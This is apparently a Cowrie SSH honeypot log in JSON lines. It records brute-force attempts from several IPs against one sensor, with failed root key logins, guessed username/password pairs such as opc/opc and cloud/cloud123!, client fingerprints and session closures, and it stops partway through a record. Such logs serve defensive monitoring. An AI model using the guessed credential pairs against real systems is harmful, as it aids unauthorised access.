{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:40:38:29:23:cb:f2:75:b3:4e:49:f7:a8:4e:2e:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPpjbjIdRjBptUj/x4tJ7TT8/EXAaRVQ291sI/V7SO9YKDbZ/X+4BTFrqJwgZHGfo74074DaykuHbDFNGS0uYSr1/sdzCRZ62r8qs6NpBZHXBpgHoqsHLJSusT5ASWMweJyw75ALrMz1D51TxwCzqTrNzsdrQZh4CQIGbaGm1pna7aRpjt27QMGCw/O63YZoec1yIhXSEClo8lKVwttPfWlyCXD1yD1pd21a3jRTS2RsEfn9nTf6VRA5p1ziBfbXPN5A4sxANVYWxJ6ZHlRDrAxn3z4YRwoKnLI5U+JRl8qn+x+aa0uZDP82jBeN/whqur6Hk9lONWyv8gjpxu5wAKpnR/lziT91IyX8NsfubHV+uNRlWAa6O/oQZh7W0nSzPpE6GTnHIoyjM349mKa1A2fJSd8iV4Uy4gSqu9WL5mIUZAtpG6u8uyXBKw8eVZIlI0a32+QlEG4C/0y3KEXcw+peg1R73FPMF71NRpSws9Rh1HrIv270AkoP/uWfTESm0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:52.762642Z","src_ip":"199.127.60.187","session":"541580d7103c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:6d:e5:d1:ba:6c:66:18:2c:d3:4d:3a:9a:a0:f8:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCspYnJQTJty1stdAsUgSm3UlKSHPzShLyrteuPz6H+uBqsAsVimYNylUVL8nOvLMpChMN6KTo9B2k+F3vLmMy34aDCaMd+iW3P0Ck9N8cgYvbJftLUz1MNPtFNuby4h6YmL9d6cajHmvc1YlQE5rHZ3his4Asepie/xeJTq5AyHv5EsKm66/BoYaWt6BQcShNlaLDnGT6f9u87svJOejpoDeErtIDBAgMESK0K0uFsvcUzXm1EZ92Sp6swf6hHUVLGPoijis0vBJQTQRc1lSgle30Qs5Zu3FVt4MfgASACg5y7SlMZf40ZpON0h6eqs34/qpPbsQIBBggO+Y8DRHi6EonHGnzT8m705tZr0Pq+ahss3jkLVpEANXa+tfxx/t0+E7APdj4kwFD6/rUuRoIW3mESv859AkhyBWLFKlhIILDGr8tZ47Izle+W2fRZwl5SoTOGLNbaYWjupvavhZ+hdrScUzg3NMQE8E6Pmc62CTRQUTZSgp2zlTaoAa+WwZRWgCiBfpRZToi1a1PACNuvvsHsRZ5CYWcSYcdB3cLKqYAXJvr/rkKIk1uxry4fJyuZ6It375lvxNPi7IKE5lfhNu/cU8pGtfIyPSBbQJ5di5UFUW0JuaSmhDo54S1xKKS7F8N2Zpujo6jz6NGGgscsbI/egDuslH2f/gAMFu76FQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:6d:e5:d1:ba:6c:66:18:2c:d3:4d:3a:9a:a0:f8:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:52.821463Z","src_ip":"199.127.60.187","session":"541580d7103c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:6d:e5:d1:ba:6c:66:18:2c:d3:4d:3a:9a:a0:f8:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCspYnJQTJty1stdAsUgSm3UlKSHPzShLyrteuPz6H+uBqsAsVimYNylUVL8nOvLMpChMN6KTo9B2k+F3vLmMy34aDCaMd+iW3P0Ck9N8cgYvbJftLUz1MNPtFNuby4h6YmL9d6cajHmvc1YlQE5rHZ3his4Asepie/xeJTq5AyHv5EsKm66/BoYaWt6BQcShNlaLDnGT6f9u87svJOejpoDeErtIDBAgMESK0K0uFsvcUzXm1EZ92Sp6swf6hHUVLGPoijis0vBJQTQRc1lSgle30Qs5Zu3FVt4MfgASACg5y7SlMZf40ZpON0h6eqs34/qpPbsQIBBggO+Y8DRHi6EonHGnzT8m705tZr0Pq+ahss3jkLVpEANXa+tfxx/t0+E7APdj4kwFD6/rUuRoIW3mESv859AkhyBWLFKlhIILDGr8tZ47Izle+W2fRZwl5SoTOGLNbaYWjupvavhZ+hdrScUzg3NMQE8E6Pmc62CTRQUTZSgp2zlTaoAa+WwZRWgCiBfpRZToi1a1PACNuvvsHsRZ5CYWcSYcdB3cLKqYAXJvr/rkKIk1uxry4fJyuZ6It375lvxNPi7IKE5lfhNu/cU8pGtfIyPSBbQJ5di5UFUW0JuaSmhDo54S1xKKS7F8N2Zpujo6jz6NGGgscsbI/egDuslH2f/gAMFu76FQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:52.824852Z","src_ip":"199.127.60.187","session":"541580d7103c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:cc:3c:e0:e3:54:48:49:85:55:7a:fd:a1:b3:44:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3QMCfG4EmcYEc5li09SRYFwWgbF0eOJUn1XfyZ0kaPTMWM/86nLx9ZR+2rhgEEhivClxZanSU5G4azagjMuZL2YAaO71drbzJ+/HAWP/HLpjxCiudR0uDJB2X1T00x2mIm2mNyTE5w2IBOqUFNINvXHl0tkAkYox6UtKphXQzTetMLeHZN8RErFkqMWbbu0sM0B1rw1CbkoVwAuG95t9oKdCLOzTd9i0SArgDpBiPZm6zwl6pN8lPwQN7fV0EFXFkCamSH6pPwxB+iifVFIqORbDeRLl/n7ql44DBkyNoB13z4QlN03pagB1zdbMj9SgJcrsyPjkmnrf5J+VLW70znbLqQwo5h3Hu/PUXcqn6hfDK3cdcSpPJV/lx0elhlj6HpV2kB5Iz9MnTaZsWV4QjDPw9zOot2y8tj48rpBOzl2jGBK5Pv8nx0XxabhrGOrsKbXO+fBj5M40iVdwX0PMmNQMUNg6JOZv2RyFXb8kDIz6mso9Rh9yp31qLBjZF23vCkhLCaF0XhzdFJELN2wz6cpeL7b6D2QS70+reHRNVx8nht3I1T8OuAoy2TJrmGWLS9wKkolQNyUmo4EVbx5Un51XmAK5uOXk9BRue47HKaF39q0nwhaoMGsjgnPl45go9HoCx6hPcR9U02uy9ZoLvlELYXbY2ybiHnv1EpJmyxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:cc:3c:e0:e3:54:48:49:85:55:7a:fd:a1:b3:44:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:52.883115Z","src_ip":"199.127.60.187","session":"541580d7103c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:cc:3c:e0:e3:54:48:49:85:55:7a:fd:a1:b3:44:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3QMCfG4EmcYEc5li09SRYFwWgbF0eOJUn1XfyZ0kaPTMWM/86nLx9ZR+2rhgEEhivClxZanSU5G4azagjMuZL2YAaO71drbzJ+/HAWP/HLpjxCiudR0uDJB2X1T00x2mIm2mNyTE5w2IBOqUFNINvXHl0tkAkYox6UtKphXQzTetMLeHZN8RErFkqMWbbu0sM0B1rw1CbkoVwAuG95t9oKdCLOzTd9i0SArgDpBiPZm6zwl6pN8lPwQN7fV0EFXFkCamSH6pPwxB+iifVFIqORbDeRLl/n7ql44DBkyNoB13z4QlN03pagB1zdbMj9SgJcrsyPjkmnrf5J+VLW70znbLqQwo5h3Hu/PUXcqn6hfDK3cdcSpPJV/lx0elhlj6HpV2kB5Iz9MnTaZsWV4QjDPw9zOot2y8tj48rpBOzl2jGBK5Pv8nx0XxabhrGOrsKbXO+fBj5M40iVdwX0PMmNQMUNg6JOZv2RyFXb8kDIz6mso9Rh9yp31qLBjZF23vCkhLCaF0XhzdFJELN2wz6cpeL7b6D2QS70+reHRNVx8nht3I1T8OuAoy2TJrmGWLS9wKkolQNyUmo4EVbx5Un51XmAK5uOXk9BRue47HKaF39q0nwhaoMGsjgnPl45go9HoCx6hPcR9U02uy9ZoLvlELYXbY2ybiHnv1EpJmyxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:52.886933Z","src_ip":"199.127.60.187","session":"541580d7103c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:52.946253Z","src_ip":"199.127.60.187","session":"541580d7103c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":36730,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f875899b8a8","protocol":"ssh","message":"New connection: 91.92.40.171:36730 (159.203.135.109:22) [session: 5f875899b8a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:53.121310Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:53.134934Z","src_ip":"91.92.40.171","session":"690324223370","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:53.184234Z","src_ip":"91.92.40.171","session":"5f875899b8a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:53.939165Z","src_ip":"91.92.40.171","session":"5f875899b8a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43288,"dst_ip":"159.203.135.109","dst_port":22,"session":"78282e76ae85","protocol":"ssh","message":"New connection: 91.92.42.133:43288 (159.203.135.109:22) [session: 78282e76ae85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:55.171082Z"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:55.261427Z","src_ip":"91.92.40.171","session":"690324223370","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:55.287249Z","src_ip":"91.92.42.133","session":"78282e76ae85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:55.293821Z","src_ip":"91.92.42.133","session":"78282e76ae85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:56.130147Z","src_ip":"91.92.42.133","session":"78282e76ae85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44816,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c6ed98ffdf8","protocol":"ssh","message":"New connection: 91.92.40.171:44816 (159.203.135.109:22) [session: 8c6ed98ffdf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:57.160446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:57.509470Z","src_ip":"91.92.40.171","session":"8c6ed98ffdf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:57.512612Z","src_ip":"91.92.40.171","session":"8c6ed98ffdf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:57.903620Z","src_ip":"91.92.42.133","session":"78282e76ae85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:58.107026Z","src_ip":"91.92.40.171","session":"8c6ed98ffdf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:09:59.219981Z","src_ip":"91.92.40.171","session":"8c6ed98ffdf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43312,"dst_ip":"159.203.135.109","dst_port":22,"session":"13aa0049d643","protocol":"ssh","message":"New connection: 91.92.42.133:43312 (159.203.135.109:22) [session: 13aa0049d643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:01.383963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:01.864918Z","src_ip":"91.92.42.133","session":"13aa0049d643","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:01.868121Z","src_ip":"91.92.42.133","session":"13aa0049d643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:02.992960Z","src_ip":"91.92.40.171","session":"5f875899b8a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"Wangsu@2017","message":"login attempt [cloud/Wangsu@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:03.161665Z","src_ip":"91.92.42.133","session":"13aa0049d643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44898,"dst_ip":"159.203.135.109","dst_port":22,"session":"86d710da32f2","protocol":"ssh","message":"New connection: 91.92.40.171:44898 (159.203.135.109:22) [session: 86d710da32f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:03.179261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:03.200249Z","src_ip":"91.92.40.171","session":"86d710da32f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:03.270616Z","src_ip":"91.92.40.171","session":"86d710da32f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud123!","message":"login attempt [cloud/cloud123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:03.655811Z","src_ip":"91.92.40.171","session":"86d710da32f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:04.546619Z","src_ip":"91.92.42.133","session":"13aa0049d643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:04.761488Z","src_ip":"91.92.40.171","session":"86d710da32f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:05.067111Z","src_ip":"91.92.40.171","session":"5f875899b8a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44298,"dst_ip":"159.203.135.109","dst_port":22,"session":"73101b02c2d3","protocol":"ssh","message":"New connection: 91.92.42.133:44298 (159.203.135.109:22) [session: 73101b02c2d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:08.001328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:08.429800Z","src_ip":"91.92.42.133","session":"73101b02c2d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 